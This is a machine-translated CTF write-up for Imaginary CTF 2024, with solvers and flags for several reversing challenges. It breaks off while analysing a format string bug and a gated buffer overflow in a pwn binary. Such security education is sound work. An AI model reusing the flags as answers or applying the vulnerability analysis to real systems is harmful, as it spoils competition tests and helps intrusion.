All Articles

Imaginary CTF 2024 Writeup

This page has been machine-translated from the original page.

I participated in Imaginary CTF, which started on July 20, 2024, as part of 0nePadding.

Considering that I could not participate for the entire event, the final ranking was not bad at all.

image-20240722203307698

As usual, I’ll casually write up the challenges I looked at.

Table of Contents

unoriginal(Rev)

i like elf reversing

Analyzing the challenge binary shows that it checks whether the input XORed with 5 matches a hardcoded byte sequence, as shown below.

image-20240720114948867

Applying that XOR directly was enough to recover the flag.

image-20240720114932487

BF(Rev)

Simple equations… but in BF?!!!

The challenge is provided as a BrainFuck program.

,>>+++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<++++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<+++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++[<+++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><]

It is far too unreadable in this form, so I converted it to C with bftoc.

Reference: bftoc/bftoc.py at master · paulkaefer/bftoc · GitHub

The converted result looked like this.

/* This is a translation of bf.txt, generated by bftoc.py (by Paul Kaefer)
 * It was generated on Saturday, July 20, 2024 at 04:18AM
 */

#include <stdio.h>

void main(void)
{
    int size = 1000;
    int tape[size];
    int i = 0;

    /* Clearing the tape (array) */
    for (i=0; i<size; i++)
        tape[i] = 0;

    int ptr = 0;

// chr(138-3*11)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }

    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 138;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }

// chr(169-7*10)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 169;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(160-11*4)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 4;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 160;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(172-10*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 172;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(174-17*3)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 17;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 174;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(113-8*8)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 113;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(160-13*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 13;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 160;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(148-11*4)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 4;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 148;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(82-6*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 82;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(171-11*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 171;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(114-9*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 9;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 114;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(128-11*3)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 128;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(102-17*3)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 17;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 102;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(170-11*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 170;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(104-8*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 104;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(138-6*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 138;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(108-8*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 108;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(173-9*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 9;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 173;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(133-6*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 133;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(98-9*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 9;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 98;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(145-10*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 145;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(125-10*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 125;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(170-10*7)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 170;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(112-10*6)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 6;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 112;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(153-17*3)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 17;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 153;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(95-11*4)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 4;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 95;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(143-23*2)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 23;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 2;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 143;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// 
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 23;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 118;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(155-19*3)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 19;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 3;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 155;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }


// chr(155-6*5)
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 5;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        tape[ptr] -= 1;
        ptr -= 1;
        tape[ptr] += 1;
        ptr += 1;
    }
    ptr -= 1;
    tape[ptr] -= 155;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        ptr -= 1;
    }

}

Inside this code, blocks with the following structure are defined repeatedly.

For each input character stored in tape[ptr], it performs several operations and finally checks whether expressions such as tape[ptr] -= 138; end up as 0.

// chr(138-3*11)
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
while (tape[ptr] != 0)
{
    ptr -= 1;
    tape[ptr] += 3;
    ptr += 1;
    tape[ptr] -= 1;
}

ptr -= 1;
while (tape[ptr] != 0)
{
    tape[ptr] -= 1;
    ptr -= 1;
    tape[ptr] += 1;
    ptr += 1;
}
ptr -= 1;
tape[ptr] -= 138;
while (tape[ptr] != 0)
{
    ptr += 1;
    ptr -= 1;
}

Since the flag was only about 30 characters long, I identified it manually instead of writing a solver.

ictf{1_h4t3_3s0l4ng5_7d4f3a1b}

Rust(Rev)

Rust! Enjoy 😃 Note: The message that produces the provided encryption is the flag.

The challenge provides a Rust binary and the result of encrypting the flag.

Enter the message:REDACTED
Enter the key (in hex): REDACTED
Encrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]

After pushing through the analysis, I found that it takes the plaintext to encrypt and a key of up to 16 bytes as input, then applies several transformations.

Although the actual processing is simple, the decompiled Rust binary is unpleasantly complicated. After reading through the assembly, I found that each input character is shifted right by 3, then left by 5, XORed with the provided key, then 0x539 is added and the bits are inverted.

Using the following solver, I recovered the original flag, ictf{ru57_r3v_7f4d3a}.

flag = ""
first_8byte_key = 0x8830855547373836
part_of_second_key = 0x82184000
guessed_key = 0x979
enc = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
for e in enc:
    tmp = (~e & 0xFFF) - 0x539
    tmp = tmp ^ guessed_key
    flag += chr((tmp << 3) >> 5)

unconditional(Rev)

Can you reverse this flag mangler? The output is b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b

The input only contains lowercase letters, numbers, underscore, and braces .

Running the challenge binary prints 33 byte values.

Apparently, whatever input produces b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b is the correct flag.

The decompiled binary shows that a function called iterate is executed in a 33-level nested chain.

Inside this iterate function, it takes the hardcoded flag string from the data section one character at a time, performs some calculations, and outputs the result one byte at a time.

uint64_t iterate(int32_t n)
{
    uint8_t word = flag[((int64_t)n)];
    int32_t rax_28;
    rax_28 = (n & 1) != 0;
    char is_even = rax_28;
    char is_lower;
    
    if ((word <= 0x60 || word > 0x7a))
        is_lower = 0;
    else
        is_lower = 1;
    
    char X = (((table1[((int64_t)c1)] ^ ((word >> 2) | (word << 6))) * (is_lower ^ 1)) + (is_lower * (((int8_t)(((uint32_t)word) << (8 - table2[((int64_t)c2)]))) | ((int8_t)(((uint32_t)word) >> table2[((int64_t)c2)])))));
    flag[((int64_t)n)] = ((is_even * ((((word >> 6) | (word << 2)) * (is_lower ^ 1)) + (is_lower * (table1[((int64_t)c1)] ^ word)))) + ((is_even ^ 1) * X));
    c1 = ((((uint32_t)is_even) + c1) % 6);
    c2 = ((((uint32_t)is_even) + c2) % 6);
    printf("%02x,", ((uint64_t)flag[((int64_t)n)]), "nothing_here_lmao");
    return ((uint64_t)(n + 1));
}


int32_t main(int32_t argc, char** argv, char** envp)
{
    int32_t n = iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(0))))))))))))))));
    int32_t n_1 = iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(n))))))))))))))));
    iterate(n_1);
    return 0;
}

The following values are embedded at the flag location by default.

image-20240722010026733

Because the iterate output is determined one character at a time, it looked possible to recover the flag with a simple brute-force approach.

I reimplemented the iterate logic in Python as follows and brute-forced the flag.

table1 = [ord(c) for c in "RdqQTv"]
table2 = [1,3,4,2,6,5]

def iterate(n,flag,c1,c2):
    word = flag[n]
    is_even = (n & 1) != 0
    is_lower = 0
    
    if 0x60 < word <= 0x7a:
        is_lower = 1
    
    X = (((table1[c1] ^ ((word >> 2) | ((word << 6) & 0xFF))) * (is_lower ^ 1)) +
         (is_lower * (((word << (8 - table2[c2])) & 0xFF) | (word >> table2[c2]))))
    
    flag[n] = ((is_even * ((((word >> 6) | ((word << 2) & 0xFF)) * (is_lower ^ 1)) +
               (is_lower * (table1[c1] ^ word)))) + ((is_even ^ 1) * X)) & 0xFF
    
    c1 = ((is_even + c1) % 6)
    c2 = ((is_even + c2) % 6)
    
    # print(f"{flag[n]:02x},", end="")
    return flag[n],c1,c2

flag = [ord(c) for c in "ictf{AAAAAAAAAAAAAAAAAAAAAAAAAAA}"]
ans = [0xb4,0x31,0x8e,0x02,0xaf,0x1c,0x5d,0x23,0x98,0x7d,0xa3,0x1e,0xb0,0x3c,0xb3,0xc4,0xa6,0x06,0x58,0x28,0x19,0x7d,0xa3,0xc0,0x85,0x31,0x68,0x0a,0xbc,0x03,0x5d,0x3d,0x0b]
target = 5
ret = "ictf{"

# The order here matters (otherwise multiple candidates match)
l = [ord(c) for c in "0}{nopqrstuvwxyz_123456789abcdefghijklm"]
for target in range(5,33):
    for k in l:
        c1,c2 = (0,0)
        for n in range(0,target):
            x,c1,c2 = iterate(n,flag,c1,c2)
        flag[target] = k
        x,c1,c2 = iterate(target,flag,c1,c2)
        # print(hex(x),chr(k))
        if x == ans[target]:
            print(target)
            ret += chr(k)
            break

print(ret)

# ictf{m0r3_than_1_way5_t0_c0n7r0l}

One tricky part was that iterate produces duplicate results fairly often, so depending on the brute-force validation order you can end up with a completely different string.

watchdog(Rev)

The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it?

Decompiling the binary shows that main first checks whether the input length is 0x2b, then verifies whether the vector table produced by evalMultiPoly matches a hardcoded set of values.

In evalMultiPoly, evalVectPoly is called once for each input character, and each result is stored in the returned vector table.

The evalVectPoly function appears to evaluate a polynomial-like sum such as result = pow(n+2,length-1) + pow(n+2,length-2) ... + pow(n+2,0).

int64_t evalVectPoly(int64_t* copied_input_vector, int64_t n+2)
{
    int64_t result = 0;
    
    for (int32_t i = (vector_size(copied_input_vector) - 1); i >= 0; i -= 1)
    {
        int64_t rbx_1 = *(uint64_t*)v_operator(copied_input_vector, ((vector_size(copied_input_vector) - ((int64_t)i)) - 1));
        // function that computes exponentiation in O(logn)
        // pow(n+2,lengh)
        result += (my_pow(n+2, ((int64_t)i)) * rbx_1);
    }
    return result;
}

From there, rewriting the logic as a Python script and using Z3Py is enough to recover the flag.

One thing to watch out for is the size of the symbolic flag variables: if they are too small, the later calculations can no longer be evaluated, so they need to be 64-bit.

answer = [
	0x348a627d10659, 0x27485a840365fe61,
	0x9e735dadf26d31cd, 0x82714bc9f9b579d9,
	0x3dfb7cc801d16bc9, 0x602a04efe5dad659,
	0xeb801d915a30d3d, 0x217dbe10edcb20a1,
	0xadee2637e875ca19, 0xcd44aed238e9871,
	0xd3bff76ae6b504d, 0x7181426eff59e789,
	0x477616cb20c2dac9, 0xce1206e1e46ce4a9,
	0x946e7cb964a3f87d, 0x0499607cbf0c3291,
	0x6871d4372347c759, 0x075412f56b7d8b01,
	0xf8e57c264786e34d, 0x194ca6020ec505b9,
	0x3e1a22e34fe84949, 0xa46de25172742b79,
	0xcd0e971bcbfe6e3d, 0x56561961138a2501,
	0x78d2b538ab53ca19, 0xa9980ca75ab6d611,
	0x5f81576b5d4716cd, 0x17b9860825b93469,
	0xc012f75269298349, 0x17373ee9c7a3aac9,
	0xb2e50798b11e1a7d, 0xada5a6562e0fd7f1,
	0xec3d9a68f1c99e59, 0x3d828b35505d79a1,
	0xf76e5264f7bd16cd, 0xdd230b3ec48ed399,
	0x80d93363dcd354c9, 0x7031567681e76299,
	0x8977338cd4e2a93d, 0x8a5708a1d4c02b61,
	0x2066296a21501019, 0x9e260d94a4d775b1,
	0xe7667bbd72280f4d, 0x12df4035e1684349
]

from z3 import *

def evalVectPoly(n,words):
    result = 0
    l = 0x2b
    for i in range(1,l+1):
        result += (((pow(n,l-i) & 0xFFFFFFFFFFFFFFFF) * words[i-1]) & 0xFFFFFFFFFFFFFFFF)
    return result & 0xFFFFFFFFFFFFFFFF


# make the flag vector size 64-bit
flag = [BitVec(f"flag[{i}]", 64) for i in range(0x2b)]
s = Solver()

for i in range(0x2b):
    s.add(And(
        (flag[i] >= 0x21),
        (flag[i] <= 0x7e)
    ))

s.add(flag[0] == ord("i"))
s.add(flag[1] == ord("c"))
s.add(flag[2] == ord("t"))
s.add(flag[3] == ord("f"))
s.add(flag[4] == ord("{"))

n = 2
for a in answer:
    s.add(a == evalVectPoly(n,flag))
    n += 1

while s.check() == sat:
    m = s.model()
    for c in flag:
        print(chr(m[c].as_long()),end="")
    print("")

Running this solver reveals that ictf{i_l0ve_interp0lati0n_2ca38d6ef0a709e0} is the correct flag.

imgstore(Pwn)

Back to the old school.

Decompiling the binary shows an application where you can choose and run three functions: List, Buy, and Sell.

At this point, it becomes clear that the sell_book function has a format string bug (FSB).

It will only call the vuln function, which has a buffer overflow vulnerability, if the four-byte random value generated at runtime multiplied by 0x13f5c223 matches a specific hardcoded value.

int64_t sell_book()
{
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    int32_t fd = open(file: "/dev/urandom", oflag: 0)
    uint32_t buf
    read(fd, &buf, nbytes: 4)
    close(fd)
    buf = zx.d(buf.w)
    char i
    
    do
        printf(format: "Enter book title: ")
        void input
        fgets(buf: &input, n: 0x32, fp: stdin)
        printf(format: "Book title --> ")
        printf(format: &input)
        puts(str: &unk1)
        
